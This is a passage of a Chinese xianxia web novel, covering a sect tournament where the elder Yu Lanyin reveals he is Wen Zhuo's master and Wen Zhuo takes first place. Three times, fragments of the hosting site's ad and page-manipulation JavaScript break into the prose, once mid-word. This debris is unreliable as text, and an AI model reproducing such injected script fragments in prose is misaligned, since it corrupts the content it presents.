尽管两人的重逢一瞬万年,但其实在其余众人眼中也不过是极短的工夫。 所有人都是不明所以地看着这芝兰玉树的陌生男子的到来,更别说他似乎与台上的比试者关系匪浅。 “这是谁?” “不知道呀,他也没穿着宗门服饰,辨别也辨别不出。” “应该是十方宗的长老吧。方才他说台上这小兄弟是他徒弟呢?” “十方宗长老?我怎么不记得十方宗长老中有这么个人物?” 不过,别说其他宗门的弟子们不认识玉阑音,连十方宗门下的弟子,甚至是观赛台坐着的大部分长老此刻都是一头雾水。 镜遥先回了神,转头问原佰,“师兄,这就是你说的……温兄的师尊?” 原佰不解地看向镜遥,又看看擂台之上,又看看镜遥,如此数次,“……不知道,我不认识啊。” 几人中只有克古鲁露出一副天打五雷轰的呆滞模样。 镜遥和原佰看到石化了的克古鲁,奇怪问道:“怎么了师弟?身体不舒服么?” “没有,”克古鲁嗫嚅道,“就是觉着玄幻。药郎先生……怎么是……我大哥之前说他不会法术的啊?” 他磕磕巴巴半天,三脚也没踹出个响屁。 其他三人听得更是好一阵懵。 这时镜遥似乎回忆起了什么,偏了偏头朝克古鲁问道:“师弟,我们初见之时,温兄说他弓上的金光咒是家里人刻的,可是说的他?” “哦,当时啊,当时大哥说的那些我都没往心里记,其实一直当他是乱说唬人的,”克古鲁说着也自觉理亏,尴尬地直眨巴眼,“不过如今看来,那应该就是了吧。” 镜遥:“……” 克古鲁忽然止了声,也想到了什么似的,转向秋风,“哦,秋风,来的早不如来的巧,台上这位……就是你要找的人。” 秋风听后好一会儿才转过筋儿来,大为惊诧,险些就要兴奋地扔了斗笠,不过最终还是理智占了上风,老老实实收回了手。他的声音由于愉悦隐隐有些震颤:“玉阑音?他就是玉阑音吗?” 克古鲁的震撼也不必秋风少,也颇为凌乱地点点头。 秋风好奇地看看台上并不剑拔弩张的二人,又看看二人交握的手,又看看玉阑音颇为纵容的轻笑的唇角,这时才终于察觉似乎哪里有些不对,“可是……我听说他们两个人关系不是不好的么?” 难不成如今的世道已经变了,流行仇人之间讲究卿卿我我了?< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 克古鲁奇怪地看他一眼,“嗯?是谁说的?我大哥可是从小就住在药郎先生——哦,就是这位玉阑音家里,哪会关系不好呢。” 在场几乎所有人都对这位从天而降的陌生男子好奇不已,嘀嘀咕咕疑惑地交头接耳,想知道究竟是何方神圣。 当然,疑惑最甚者自然是赛台对面的君少暄莫属。 不过似乎所有人都没有注意到观赛台之上,秦鹤生已经颤巍巍地住着拐杖站起身。同时站起身来的还有善玄和元宿央。 他们此时正长久地注视着同一个人。 尽管他们所注视的台上之人也似乎对此无察无觉。 玉阑音哄小孩似的拿小木笛又敲敲温卓,“好啦,好啦,行行好饶了我吧一一,我现在可是你师尊呢,嗯?” 他说得极慢,带上了他说长句子时一贯有的南方口音。 温卓张了张嘴,最终却未吐一字,轻轻松开了方才捉住的玉阑音的手。 而赛台之上君少暄的一双剑眉已经拧得像麻花,“请问您是?” 玉阑音正好整以暇垂着头拢衣袖,闻言抬了头,似乎是听到了什么好笑的事似的轻笑一下,随后虚虚地行了个极漂亮的中原礼,温温和和地开了口:“在下十方宗无上长老,太嵇。” 哪知此言一出,君少暄脸色骤然一变。 太嵇。 或许大部分人听都没听说过,但君少暄对这个法号不可谓不熟悉。 十方宗无上长老,药术老祖,善玄长老的师尊,太嵇真人。 他很小的时候就见过这个名字,在十方宗藏经阁一本史书之中,这本史书在藏经阁书架的最底层,早因无人阅读落满了灰。 篇幅仅寥寥数字,缩在一页的角落里:玉阑音,法号太嵇,年少之时名动云州,创药术。千年之战率仙盟誓死一战,以一敌千,斩天撼地。后任十方宗无上长老,门客三千,花醉满堂,青史留名。 那一页书页纸张发黄,甚至是有些薄脆了。但就是这么一段话,君少暄来回读了好几遍,算到今天,已经清清楚楚记了近百年。 玉阑音瞧着他的脸色,轻笑出声,“别紧张,我又不会吃了你。” 他顿了下,又继续开口:“善玄先前便已告知温卓入我门下,在我未归宗门期间代我教导一二,我早已知晓。如今你也已经见到,那这次可否能确认他十方宗弟子的身份了呢?” 君少暄的脸红红白白,悔不当初,他皱着眉恭恭敬敬行了个礼:“真人既然如此说了,那自然是可以确认。” “如此甚好,二位既然已无异议,便依规矩继续便是。”玉阑音闻言笑眯了眼,温温和和拱了拱手,又道,“玉某此番私自上台确为叨扰,多有得罪,请各位见谅。” 不过听到了他的身份后,在场之人自是没人敢与他叫板这些自找没面子了。 就连君少暄也是伏低了身子毕恭毕敬,“哪里,哪里,长老客气了。” 玉阑音也再客客气气福了福身。 正当他要抬步离开之时,温卓忽然伸出了手轻轻拦住了玉阑音,没头没尾低声道:“灵犀灯。我是想要拿下云霄榜首再与你说的。” 玉阑音愣一下,随后才想到他可能是在向自己解释为何出了关没有来个信儿。 “嗯,不必知会,”他低头一笑,“这回是我亲自来看你拿了。” 玉阑音等了一会儿,见温卓似乎没有继续开口了的打算,便脚尖一点,一个移形换影术落到了观赛台上,从那远处笑着朝温卓看来。 温卓看见他双唇轻动,随后一声温和的叹息,便稳稳传到温卓耳朵里。 “去吧。” 17. 妄想 温卓深深看了玉阑音一眼,终于朝向君少暄,他轻轻抬了抬寒铁弓的前端,“开始吧。” 玉阑音此时正双手环抱胸前朝台上看着。 两声几乎重叠了的呼喊轻轻响起。 “真人……” “师尊!” 玉阑音寻声看去。 秦鹤生拄拐的手捏的发了白,他朝玉阑音走去,胡须都在微微颤动,“真人……” 玉阑音稍向前一凑,一伸手的瞬间把那支碍事儿的笛子收了,随后搀住了秦鹤生,“鹤生。” 玉阑音天生便是一副慈悲相,垂着眸子的时候更像是那不悲不喜的佛陀。 他上下好生看了看秦鹤生,最后却只是半搂着秦鹤生,轻轻拍了拍秦鹤生老得弯颓了的背,“腿还疼吗?” 秦鹤生嘴唇不受控地颤起来,好半晌嗫嚅道:“早不疼了。” 玉阑音看了会儿秦鹤生,也没说是也没说不是。 等玉阑音朝善玄看去时,善玄正偷鸡摸狗地躲在一边整理着衣服。他衣服不规整,头发也和鸟巢似的,手忙脚乱地出着洋相。 结果就是一抬头就对上了玉阑音含着笑的眼睛。 善玄立马小鸡仔似的老老实实站定,行了个极为规矩的礼,“善玄见过师尊。” 玉阑音看过善玄翘得和屋檐似的几撮头发,笑着摇摇头,“当了长老还是这么不立整。” 不过三人的叙旧很快就被另外的人打断了。 元宿央皱着眉大步走过来,一把把玉阑音揽到了自己那边,随后还面色不善地剜了秦鹤生和善玄一眼,随后压着声音朝玉阑音训斥:“没事儿往这里来什么!缩地术来的?” 玉阑音被拽得好几个踉跄,勉强稳住身形。他好声好气拍了拍肩膀上的元宿央的手,“那总好过两条腿走来吧。” 元宿央气得就要踹他两脚,“你这破身体还要不要了!还耍贫嘴!” 在他们两人说话间,秦鹤生一个挥手,在台上加了座华贵的镶钻带银加高加宽的长老椅。 善玄则是从他识海里摸了个羊绒软垫,两只鹅绒靠枕,一床长绒毯,一方檀木桌几还有一桌子瓜果蔬菜、龙须糖玫瑰酥,随后邀功似的,“师尊请坐。” 其余门派众长老:“……” 这副来度假的模样,是要闹哪样? 而且,善玄,作为十方宗堂堂首席长老,识海里这么些不严肃的玩意儿,真的不需要去反省一下么? 不过玉阑音倒是对此是颇为满意的,甚至坐下感受了一番后还认真挑起了刺,“垫子太硬了,硌得慌。” 小狗腿子善玄忙送不迭又加了两床软垫。 元宿央的坐席紧挨着玉阑音,见玉阑音安稳坐下了便也落了座,问道:“身体怎么样?有没有不舒服?” “还是老样子,”玉阑音一双桃花眼目不转睛盯着比赛台上,“嘘,别再说话了,吵到我看我家孩子。” 元宿央气得冷笑,白眼差点飞上天,“对对对,你看,我现在把你两只眼睛挖下来装他身上,叫你看个够!” 赛台上,一色玄袍与一色金白色袍衣袂翻飞,暗红色灵气与浅金色灵气交错不穷,传出一阵阵震撼整个山头的鸣爆声。 玉阑音轻笑一声,朝台上扬扬下巴,“那敢情好,安上了去,也省得我总是见不到他担惊受怕。” 元宿央直接给了玉阑音一脚,“滚滚滚,一边去。” 台上。 温卓正脚下运气向后一跃,他右手虚空一握,又将那把寒铁弓拿到了手里。 他站定。霎时间,弓身之上爆起一层汹涌得浓厚发乌的深红色灵气,化成了一支箭。温卓稳稳把箭上了膛,把弓拉满,弓弦轻轻抵在他的唇上。 “斩。” 只听温卓轻声道,细语宛如耳畔情人的呢喃。 随着他松手,箭瞬间如光影般脱弓而出。 那磅礴的灵气离箭后忽然转了向,竖直擦地朝着君少暄而去,其高近百尺,直冲天际。 君少暄反应也快,手一翻起了个厚厚的屏壁,速度极快迎面顶上了那道暗红色的光刀。 但屏障刚支起的瞬间,那凶猛异常的灵气已经突到了脸前,直接撞到了屏壁上,把屏壁撞得裂了蜘蛛纹。 光刀的冲撞力将君少暄压得节节后退,大十几步有余。他迅速化了个气盾缓和了后坐力,堪堪稳住了身形。 还没等他松一口气,便忽然听到身后传来一阵不自然的破风声。 君少暄身上汗毛瞬间立起,近乎于慌张地迅速转身朝后看去,只见温卓已经不知不觉什么时候稳稳站到了他的身后,发丝随风飞扬,低垂的眉眼中是看似温顺实则狠戾地寒光。 温卓甚至没再掐任何一个法术,一个快出了残影地逼近和环踢将君少暄横扫在地,“咻”一声划破空气的声音,温卓右手的寒铁弓尖端停在了君少暄脖子前一寸之处,其上暗红的灵气随着风略微震荡,已然触到了君少暄紧绷的下巴。 温卓未发一言,甚至都没看被抵在地上狼狈的君少暄。 他很快便一翻手腕把寒铁弓收得没了踪影,朝观赛台上的玉阑音看去。 一抬起头便迎上了玉阑音的目光,玉阑音笑着朝他抬了抬下巴。 君少暄在地上好半晌没能爬起身,倒不是因为伤得重。 温卓出手惯常的有数,君少暄身上几乎能称得上是毫发无伤,最重的似乎就是最后扫他的那一横腿。 他就是忽然觉得没脸,完全不知如何体面地站起身。 玉阑音此时正看着台上,偏偏头笑着同元宿央道:“是不是还不错?” 元宿央看着他那副摆明了有些炫耀的神情,一时觉得这人果然是十分的欠揍。 随后,玉阑音轻轻地往椅背上一靠,顺手捏了一颗葡萄,温温和和又转向了善玄,“这段时间辛苦你了,你把他教得很好。” 善玄连忙摆手,“师尊您可真是折煞我也。你也知道师弟他大部分的时间是在闭关,我能帮上的地方实在是少之又少。” 随后善玄也将目光投向了台上,露出了一副和玉阑音如出一辙的骄傲神色,“不过是师弟悟性高,修行又极为勤勉罢了。” “的确是好苗子,”秦鹤生也在一旁慈眉善目地敲了敲拐杖,朝玉阑音道,“性情坚韧,行事低调,这倒不如说是真人教得好。” 玉阑音听着这些好话,直像有小风往心上吹似的,他轻笑一声,“我这还没开口呢,你们两个倒是就把他夸了个天花乱坠。” 一旁的元宿央看戏似的看着这三个加起来得有一万岁的老家伙,不轻不重哼了一声,“还是劝你们两个不要再说了,也不看看他的尾巴都翘到哪去了?” 玉阑音瞟他一眼,“大人说话,小孩子插什么嘴。” 正当元宿央气急败坏想直接给他一肘子的时候,他忽然像是发现了什么似的,止了动作,眉头紧蹙,“太嵇,你不舒服?” 听到这话的秦鹤生和善玄齐齐转头朝玉阑音看去。 只见玉阑音那极为漂亮的一张脸已经褪得毫无血色了,双唇更是有苍白到有些乌青。 但玉阑音似乎对此丝毫不在意,他的笑意未减一分,仍旧专注地看着台上,从元宿央的角度看来,只能看到他消瘦的下颚骨。 随后便听到他温温和和道:“嘘,声音太大了,他会听到。” 刚落下话,玉阑音就再度与台上的温卓交换了目光,安抚似的朝他笑笑。 不过这也不是玉阑音小题大做的多虑,因为温卓自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从玉阑音到来之后,便始终分了一分目光与神识在他身上,即便是刚才正在打斗的过程中,也未有停止一分一秒。 方才他们的那番对话,是的的确确一字不落地传到了温卓的耳朵里。 温卓甚至都没有来得及因为玉阑音为他骄傲而欢喜。他的目光如有实质,此时正稳稳地落到了玉阑音死人一般的面色之上。 温卓的眉毛皱得极为紧蹙。 这人的身体究竟是怎么回事?明明他走的时候,这人还是好好的不是么? 是这些年受了伤,还是他那副健康样子本就是装出来的? 随后他的余光看到君少暄慢慢地站起了身。 温卓暂时把久久停留在玉阑音身上的目光收回,甚至是十分不计前嫌地拉了君少暄一把。 君少暄低垂着眼睛,也不看温卓,死死地咬着嘴唇,最终哼哼唧唧别扭地说了一句:“是我输了。” 他这人的确如善玄所言,心比天高,但是本性不坏。拿得起放得下,赢得端输得起。 纵然君少暄一脸不服输,却还是把头抬得很高,眼睛里多得是懊恼与蓬勃的战意,“不过你等着,我早晚有一天会打败你!劝你别高兴得太早!” 随后他稍稍侧过了头,往观赛台上玉阑音的方向看了看,不过他很快便收回了目光,随后便更是气恼地剜了温卓一眼。 温卓则若有所思地也随着他看了一眼玉阑音。 “好。”他道。 擂台上的擂主自此便换为了温卓。 但对于温卓来说,方才交手的君少暄或许就是整个云霄大比中最难缠的对手了。 在此之后那自然是一路畅通无阻。 温卓甚至不需要费什么工夫,就将之后那些轮的修士们打了个人仰马翻,无论剑修还是术修,速度之快比起刚才的君少暄可谓是有过之而无不及。 直到温卓已经站在黄金台上,将自己的名字写至云霄榜首之时,台下才终于回过了神。 温卓之取胜太过轻松,以至于叫旁观的他们不禁有些纳罕:云霄大比,原来是这么轻松的比试么? 不过温卓对此并不在意,他拿了代表夺魁的卷轴,下了黄金台便疾步往玉阑音那里去。 玉阑音此时刚起身,听了这动静便循声看去,他笑起来,轻声道:“你来了。” 温卓惦念着玉阑音的身体,步子迈得极大,走得也猛。但随着逐渐走近玉阑音,他的步子却又近乡情怯似的矜持了下来。 他走近,看着玉阑音强撑着的倦容,有千言万语要说,但最终他只是抿抿唇,把那卷轴往玉阑音手里一塞,“阑音,榜首。” 玉阑音对此应该是很愉悦的,他甚至是扬了扬嘴角,尽管他的唇色依旧寡淡异常。 “嗯,我看到了。” 玉阑音说着笑眯眯手一轻拈,化出了一只草编的小雀在手指间。 有点粗制滥造,有点七歪八扭,与那年在药居之时的如出一辙。 唯一不同的是,这回的这只草雀会飞。它一化出了形,便似乎是承了某人的意愿扑棱着翅膀朝温卓飞来。 温卓目光几乎未在这笨拙飞着的草雀身上停留。这种草编的小玩意儿是玉阑音惯用的哄孩子的小把戏,温卓早就不稀罕了。 他的目光直直越过草雀,长久停留在玉阑音低垂的柔和眉眼之上。 久别的思念终于在这一窥里破开了缝,流淌了一地清澈的纯净恒久的月光。 那小雀扑棱棱地飞。 温卓的心脏滚烫,随着那对翅膀不规则地“咚、咚”跳动起来。 至于那翻腾的,飞舞着的,撞击着他胸腔的到底是什么,温卓比谁都清楚。 那是曾在他闭关百年的梦里,无穷无尽的痴心妄想。 18. 掌心 云霄大比结束后,人群的喧哗其实也就是一阵。 玉阑音也终于得了空,找着借口把这群围着他转的狗腿子一个一个全支开了,只剩了个温卓和元宿央。 温卓在是因为玉阑音压根没舍得赶,元宿央还能在,则纯粹是因为脸皮厚——这就是个赶不走的狗皮膏药。 “……你还是快快回玄天门述职去吧,不是说那什么劳什子玉盘被你搞碎了?”玉阑音晓之以情动之以理,劝得那叫一个苦口婆心,“拢虚这会儿该着急了,他没传些消息催你的么?” 元宿央则一点也不着他的道,“少拿我爹唬我。而且,这玉盘怎么就是我搞碎的了?” 玉阑音自觉与这不讲理的蛮人讲不动,便施施然双手往袖子里一揣,气定神闲转过身迈着四方步溜了,直到走到温卓身边才重新站定。 温卓依旧时刻注意着玉阑音惨白的脸和虚浮的脚步,看着他其实远没有表面上看起来的那么云淡风轻。 不过温卓反常地没询问这些,甚至在他变了一件银白色薄绒披风出来给玉阑音披上后都没问。 张了张口,问的话却甚是有的没的,“今晚是要回哪去?” 见到温卓此时颇为识相地没有刨根问底,玉阑音心下大松一口气,“虚空山。过去我在十方宗的时候便一直是住在那,如今便也还是回那里去好了。” “药郎先生!药郎先生!” 玉阑音刚说完便听到不远处传来一些聒噪的、扯着嗓子的叫喊。 他眯了眯眼睛,朝声音传来的方向看去,只见迎面跑来一个细细高高的黄毛,看起来顶像是个西北边来的番邦人,身旁拖家带口地带着一个斗笠精和两个人往这边跑来。 玉阑音轻笑一声,朝着那为首的人笑道:“原来是你,我还当是谁家的夜鸮,号生号死的。” 温卓听至此,忽然皱眉睨他一眼,“阑音,说话不要胡闹。” 玉阑音被训斥得先是一愣,接着笑得更是要停不下来,“好了,好了,怎么还越长大越无趣了呢,不生气了,嗯?” 听着他这些哄三岁小孩儿的动静,温卓眉头蹙得更紧了几分。 克古鲁脸皮厚,听了这话脸不红心不跳,呲牙咧嘴跑近了,“药郎先生!” 玉阑音此刻笑意还未收齐,看向克古鲁的时候仍然是连眼尾都带着笑,“嗯,许久没见你也长这么大了。” 克古鲁和玉阑音满打满算也就见过两次,原本他就因为药郎是部落里下凡的神仙,对玉阑音又敬又怕,如今这幸福的重逢之际,却又得知,这神仙居然是他们宗门的大大大大长老! 还有比这更恐怖的故事吗! 克古鲁收起了自己那副皮猴子模样,老老实实站定,“药郎先生,好久不见。” “嗯,”玉阑音笑道,“好久不见。” 秋风这时也瞧着四下没有别人了,便大着胆子撩起了头帘,“太嵇真人!我终于见到你了!” 玉阑音这时才看向了秋风,他在看到秋风脸上的纹路之时似乎是愣了一下。 “我叫艾昂里,中原名叫秋风,”秋风笑起来,眼睛澄澈如湖水,“我这次就是为了寻找真人而来的,真没想到在这里见到了你!真的太巧了!” 玉阑音似乎是在想着什么,依旧是很久没答话。好一会儿才笑道:“秋风,很好的名字。” 秋风看着玉阑音明艳的笑颜一时有些呆愣,自打他来到云州大陆,这还是第一次遇到这么好看的人。 秋风只愣了一小会儿,很快便回了神,正当他打算说清楚来历之时,刚开口,还未出声,他便看到玉阑音原本笑盈盈看着他的眼神忽然锐利起来。 但这令人汗毛竖起的警告的眼神只有一瞬。 等秋风再定睛去看的时候,玉阑音已经拢着广袖笑眯眯转向了别处。 秋风想,大概是错觉吧。 大概是看秋风忽然安静了下来,温卓和克古鲁便接过了话茬,你一言我一语地又介绍起了镜遥和原佰。当然,其实大部分都是克古鲁在说。 “哦,都是青木的徒弟啊,那很好,青木挺好的,也很有意思。”玉阑音似乎是回忆起了什么,笑起来,面上忽然罩上了一层温和的雾。 “秉文小时候给他腰带上的玉佩摔了一条缝,气得青木天天去爬秉文窗前的树,和叫早的鸟儿似的,连着唱了半个月浑歌。最后一次,他终于不小心从树上掉下来摔了个骨折,这才作了罢。” 玉阑音说起别人的“光荣事迹”和不要钱似的,噼里啪啦就给青木秃噜了个底儿掉。 可能是因为玉阑音长得年轻,又不曾露出任何垂垂老态和上位者的威压,温卓其实对玉阑音身份一直没有什么实质感。 直到他看到玉阑音对秦鹤生,甚至是元宿央的父亲都直呼其名如称小儿,又或者是现在看到他这般,像古稀老人一般陷入往日古旧回忆的模样,温卓才能忽而感受得到那层厚厚的壁。一层仿佛无论他如何伸手,都不能冲破分毫的厚屏障。 感受到这层迷蒙的雾后,温卓莫名有些慌乱。因为他总有一种预感,如果这次自己不伸手去抓,这人或许真的会永远不会再回来。 他感觉他大概必须要做一些什么才能缓解这横冲猛撞的焦虑。 他方思念至此,还未能在心里多转两圈,便已经冲动地脱口而出,“阑音。” 玉阑音正在镜遥和原佰极为配合的星星眼里讲着他们师尊的八卦故事,莫名被打断,倒是也没恼。 温卓就这么看着玉阑音一双笑眼转过来,他浅棕色的瞳仁,其中忽然只能映出他一人的身形了。 “怎么了?”他听到他问。 但是能有怎么呢。不过是想叫叫你。 他虽然没能大胆地把这话说给那人听,但就是在这个瞬间,他方才心里那阵闹人的焦虑,忽然之间便不明所以地烟消云散。 能有怎么呢。不过是想你这样笑着看着我。只看着我。 “没什么。”温卓道。 玉阑音不疑有他,不过被打断了之后他也没什么继续讲别人糗事的精气神了。他看看天,笑眯眯和几位小观众道:“下回再继续吧,你们看这天都晚了。” 众人皆随着玉阑音的目光看去。 天幕将晚,西面太阳的余晖映出粉霞。 今夜大概是个很好的安宁夜。 虽然是头一次见,但是镜遥特别喜欢这个无上长老,简直是要迷上了——长得又漂亮,相处起来也没架子。 与原佰两人回斗宗的一路上,他都在叽叽喳喳和原佰说着玉阑音,仿佛说一辈子都说不完。总结一下中心思想就是:我好羡慕温兄啊。 原佰刚开始还能附和一两句,后面被缠得不行了,就变成了一堆目不斜视毫无灵性的“嗯”“哦”“哈哈”。 去药谷的路上其余四人一路同行。很快,秋风和元宿央在某个岔路拐了弯,这个岔路通往客房的方向。 玉阑音和温卓便站在原地目送着他们远去。 秋风似乎仍旧有话要说,好一个三步一回头,惹得元宿央在一旁那叫一个连拉带拽,“好兄弟,行行好吧,不说别的,你就看他那脸色,快饶了他罢……” 这才堪堪劝住了这死心眼的秋风。 玉阑音十分好整以暇,甚至笑眯眯地和远去的两人挥手作别。 两人消失在视线尽头,还没等玉阑音收回那脸上苍白的笑意,温卓的声音忽然在身后响起,“你到底要拖着你这副身体装到什么时候?” 玉阑音一怔,回头便直直对上了温卓并不和善,甚至近乎于阴沉的视线。 这陌生的对视直接叫玉阑音有了一时空白,叫那一贯的笑脸都僵硬了一瞬。 温卓方才下定决心要狠狠心训责他一番,可刚一见玉阑音这副表情,他就明白,自己这豪心壮志大概是要壮志难酬了。最终是以温卓微不可查地叹了一口气而告终。 他不过是看着玉阑音这副病态心里憋屈,他哪里舍得真一直朝着玉阑音说这么重的话。 温卓动作轻缓地替玉阑音拢了拢披风,而等到他再度张口之时,他的神情便已经恢复如常,甚至语气都能称得上是温和,与有着百转千回的卑微的央求,“阑音……” 可他只是如此开了个头,后面却忽然哑了声,不再说了。 玉阑音看着他那双黑色无垠深海一般的眼睛,久久没有得到下文。 他敛了笑意。 一向昳丽笑意盈盈的脸头一回露出了最原本的模样,扑簌的睫毛在眼下映出一片阴影。脆弱,苍白,疲倦,空洞,疾病缠身。 这原本最不应该在他脸上出现的东西,如今却是一股脑地浮现上来。 “好了,该回去了。”玉阑音道。 温卓垂着眼睛看着他,没说是也没说不是,目光如水,很久他才开口问道:“回哪去?” 玉阑音抬起头同温卓对视片刻,终于认输似的又别开了目光,脸上浮上一层温卓十分熟悉的,略带疲倦的纵容,“如今我是你的师尊,自然是回我那里去了。” 温卓等的就是这句话。 他当即落了个颇为精巧的移形换影,甚至都没需要问玉阑音虚空山的位置,瞬息之间,两人已经稳稳落到了药谷西北角的虚空山之上。 或许是因为天色将晚,虚空山之上又人迹罕至,多年无人打理实在是杂草丛生,败落衰颓。 不过,玉阑音对这般景象置若未闻,抬起步子,十分熟稔地走上一条被杂草覆盖到看不清石板的小路,“跟上我。” 温卓皱了皱眉。 温卓从来不喜欢任何与衰败有关的事物出现在玉阑音的身边——他甚至连这人“阑音”的名字都不喜欢。 他宽大袖袍之下的手不露声色轻轻一抬,便落了个笼罩了整个山头的大复原术。 只见一抹生机勃勃的绿色自温卓脚下诞生,随着玉阑音的脚步,一寸一寸向前推进覆盖。他脚下带着整个春天,所过之处皆是一片翠绿的崭新,宛如神灵降临。 温卓自身后沉默地看着他的神明,看着他亲自缔造的神明身后一片生机的登神长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阶。 他的血液忽而滚烫着猛烈跳动起来,震得他太阳穴微微胀痛。那是一种让他要失智了的、近乎癫狂的满足。 玉阑音没有注意到温卓的异样。他只对这个复原术很是惊诧,颇为揶揄地回头,“离了我复原术倒是越学越好了,还真是能打你师尊的脸啊,一一。” 温卓在他回头的一瞬间便收起了那副有些骇人的神情。甚至轻轻抬起手,在玉阑音肩头拈了个小法术拂去了他一身的夜露,“夜里凉,先回去吧。” 原本玉阑音还想,已经这么久没回十方宗了,估计自己那屋子里是要破落得不像话了。他喜欢新的,贵的,漂亮的,如今定是要费点心思大修一番了。 可等他真走到屋里,却发现屋里的桌子壁橱、名器珠宝都是亮洁如新,被褥枕头也都换过,厅堂的小桌几上甚至提前煮上了一壶花茶,摆了一套他最喜欢的冰裂纹茶具。 整个屋内都是花茶特有的芬香扑鼻,不腻人,倒是有些醉人。 玉阑音站在门口,顿了好半晌。 温卓看一眼玉阑音,“方才问过你住哪里之后,便找人来打扫过了,都是刚收拾过的,很干净。” 玉阑音怔忪。 其实他今日原本觉着温卓这个孩子似乎性格变化不小,两人之间也生疏了好些,甚至总莫名其妙有些剑拔弩张。 但如今看来,其实好像又什么都没变。 他笑一下,不再多言,颇为从容地倚到了桌旁的躺椅上,着手斟了两盏花茶,一盏推到温卓面前。 温卓看都没看,只居高临下地低垂着眼睛看着玉阑音。 虚空山可以算得上是整个药谷、甚至是整个十方宗最偏的一座峰,北边便是一不知名的村镇,偶尔会传来些柴米油盐的叮当作响。 玉阑音的居所便建在这虚空山的南面,朝阳,他自将其唤作“流离所”。 温卓自然是对这名字很不喜欢。 可踏入“流离所”之后,温卓便无暇在意这些了,那一刻他只顾得上恍惚,恍惚到以为自己终于被那厌族扰得疯魔了,连时空都认得错乱。 这里与他自小长大的药居,实在是太过相似了。 只是院中的松树换成了杨柳与柏树,多了个池塘,多了口井。 屋内更是依葫芦画瓢,壁炉依旧,弯脚躺椅依旧,枯枝依旧,甚至白祺也不知什么时候便早早回来了,此时正半阖着眸子打盹儿。 一切宛如时光倒流,他们带着一肚子心事和无数场风雪,回到了那北塞的冬天。 温卓为这久违的熟悉感到浑身战栗。 而最让他感到心痒难耐的自然是眼前的这个人。 此时这人正气定神闲地在他的注视下喝着茶。 或许是热茶暖了身子,玉阑音苍白了一天的脸上终于有了些血色。 “好受些了吗?”温卓问道。 玉阑音蛮喜欢温卓的这一点。 那就是温卓总会有意或无意地跳过一些玉阑音会避而不谈的问题。 “嗯,好受了不少。”他答。 温卓点点头。 其实他完全能察觉得到自己现在的异样,也不是不能压制得住,他如今的三分放任大概只是为了赌气。 和谁赌气呢?多半还是自己吧。 他明知道自己应该好好穿着这张人皮,最好不要露出一丝一毫在这人面前。 可他却总忍不住想要撕开一个口子给他看,自我惩罚一般地想要玉阑音看清自己一身的罪恶,一身肮脏的鲜血。 他每次如此推演着,就忍不住浑身颤抖起来。 这近乎自虐的拉扯与折磨,温卓却总从中感受到莫大的宽慰。 他现在是那么想掐住这个人的脖子,最好叫他再不能动弹一丝一毫,叫他那张爱撒谎的嘴再也说不出伤人的话,叫他只能抬起头,只能看着自己。然后问他,那你还会对我好吗。 不过大概是不会了吧。 还是换个问题好了,要问他,你会恨我吗。 你恨我吗。 温卓如此想着便真的伸出了手。 玉阑音看着温卓自打进了屋,大部分时间都在那儿垂着头站桩,似乎是兴致不高。 于是便暗自琢磨起来。想当年他瞒着温卓自己会法术,他就生了好大的气,那如今更是占人便宜当了个便宜师尊,一点本事没教不说,说话还连呛带骗,这回他还不得一个人活活把自己气死? 思来想去,玉阑音竟从中品出了些愧疚的意味。 就在这时他看到温卓伸出了的手。 虽然不清楚他是要做什么,但玉阑音生怕再冷落了他,便调笑似的主动探过手去,屈起指头不轻不重弹了下温卓的掌心。 他笑道:“伸只小手干什么呢?三岁小孩子么?” 温卓在掌心触到玉阑音手指的一瞬间,便骤然如噩梦惊醒一般清醒回了神。 那掌心之中被触碰之处滚烫万分,如同在皮肉之上燃起了熊熊烈火。 他伸在空中的手猛地一顿。 19. 过敏 温卓停顿的那个瞬间,其实于他看来大概要有一个世纪那么长,长到他几乎已经找尽了世间所有污浊的、恶毒的词句,悉数痛骂给了自己。 但这兵荒马乱的漫长的一瞬间落到玉阑音的眼中,不过真的只是一瞬间而已。 他只看到温卓的手忽然调转了方向,转而拿起桌几上这一小盏花茶,一仰而尽。 就在温卓放下茶杯时,玉阑音听到他似乎是极轻极轻说了句什么。只是那声音颤抖含混,又夹杂着慌乱的呼吸,玉阑音一个走神的空挡便错过了。 温卓没再重复,也没再敢抬头与他对视,登即就转了身头也不回出了屋。 玉阑音在他的关门声中才终于回了神。 他与温卓太多年不见了,如今一时也拿不太准他这般究竟是为何。 思来想去一番无果,玉阑音只得轻轻地叹一口气作罢。随后他垮了肩膀往后一靠,再度倚回了躺椅之中。 躺椅上垫着长兔毛绒毯,玉阑音偏偏头,半张脸便可以埋到浅灰色兔毛中,清朗的眉眼中隐约浮现出隐藏了一整日的倦怠。 玉阑音如今灵力枯竭,身体状况每况愈下大不如前。而今日强撑着调起这副破身体,借了外界的元灵力使了个缩地千里更是临门一脚,差点没要了他的老命。 不过好在中原地区灵气丰沛,对灵脉受损之人来说算是个好消息。 其实玉阑音的身体状况如此,大没有瞒着温卓的必要。 试想一下,即便是如实告知了,充其量也就是左右多了个小跟屁虫,更何况还是个极为窝心的小跟屁虫,帮着端茶倒水盖被的,何乐而不为,岂不快哉? 可玉阑音就是要连骗带哄地死不承认。 说起来,他这死鸭子嘴硬的毛病,还是从那年庙会之后突发了高热之后才开始有的。 围猎大赛那天的夜里,云州大陆外的厌族突然集结了近万数厌兵,对云州发动了一场史无前例的突然袭击。云州结界生生被撕出了口子,厌族悉数涌进,当晚整个云州鬼哭狼嚎宛如末日。 结界被撕裂出的口子像是个深不见底黑色的洞,半个天幕大小,遮天蔽日地挂在札布萨上空。除此以外,云州结界之上更是有数不清的裂纹与裂隙,遍地都是结界的碎片和齑粉,一片惨状狼藉。 原本玉阑音是想着当天便背着温卓偷偷去处理好的,就像之前的每一次那样。但谁成想就是这天上午,温卓忽然满怀期待、又假装轻描淡写地来和他说,想要去庙会。 玉阑音几乎是想都没想就答应了。 而结果是,虽然一切的一切都是自此开始跑了偏,然后又是越跑越偏,跑得五马分尸四分五裂,但玉阑音从来没有为当时答应了温卓去庙会而后悔过。 一次都没有。 因为他永远做不到对着温卓那时的那双眼睛说不。 